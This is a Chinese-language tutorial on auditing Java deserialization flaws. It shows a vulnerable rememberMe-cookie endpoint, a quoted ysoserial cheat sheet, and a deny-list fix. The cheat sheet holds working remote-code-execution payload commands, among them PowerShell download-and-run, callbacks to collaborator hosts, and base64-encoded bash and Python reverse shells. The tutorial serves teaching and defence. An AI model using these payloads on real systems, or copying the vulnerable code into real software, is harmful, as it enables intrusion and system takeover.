JAVA代码审计之java反序列化

语言: CN / TW / HK

一、漏洞原理

Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程

deserialization(反序列化):将保存在磁盘文件中的java字节码重新转换成java对象称为反序列化

Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期 的对象,在此过程中执行构造的任意代码。

漏洞代码示例

......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();
Java程序使用ObjectInputStream对象的readObject方法将反序 列化数据转换为java对象。但当输入的反序列化的数据可被用户控 制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的 对象,在此过程中执行构造的任意代码。

核心代码:

/**
 * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
 * Add the result to rememberMe cookie.
 * <p>
 * http://localhost:8080/deserialize/rememberMe/vuln
 */
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }

    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
    ObjectInputStream in = new ObjectInputStream(bytes);
    in.readObject();
    in.close();

    return "Are u ok?";
}
代码相对来说也比较简单使用Java程序中类ObjectInputStream的 readObject方法被用来将数据流反序列化为对象,如果流中的对象 是class,则它的ObjectStreamClass描述符会被读取,并返回相应 的class对象,ObjectStreamClass包含了类的名称及 serialVersionUID。

二、利用方式

使用ysoserial.jar生成payload

java -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0  
 
 rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...

访问页面 http://127.0.0.1:8080/deserialize/rememberMe/vuln

(ysoserial.jar是java反序列化工具 集,下载地址:https://github.com/angelwhu/ysoserial)

ysoserial使用poc文档

https://book.hacktricks.xyz/pentesting-web/deserialization#java-http
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

三、修复方式

修复方式是通过Hook resolveClass来校验反序列化的类

序列化数据结构可以了解到包含了类的名称及serialVersionUID 的ObjectStreamClass描述符在序列化对象流的前面位置,且在 readObject反序列化时首先会调用resolveClass读取反序列化的 类名,所以这里通过重写ObjectInputStream对象的 resolveClass方法即可实现对反序列化类的校验。这个方法最早 是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization》

修复代码

/**
 * Check deserialize class using black list.
 * <p>
 * http://localhost:8080/deserialize/rememberMe/security
 */
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }
    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

    try {
        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
        in.readObject();
        in.close();
    } catch (InvalidClassException e) {
        logger.info(e.toString());
        return e.toString();
    }

    return "I'm very OK.";
}

跟入后对应代码

/**
 * 只允许反序列化SerialObject class
 *
 * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
 * 类似fastjson通用类的反序列化就不能校验。
 * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
 *
 */
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
{
    String className = desc.getName();

    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
    logger.info("Deserialize class name: " + className);

    String[] denyClasses = {"java.net.InetAddress",
                            "org.apache.commons.collections.Transformer",
                            "org.apache.commons.collections.functors"};

    for (String denyClass : denyClasses) {
        if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}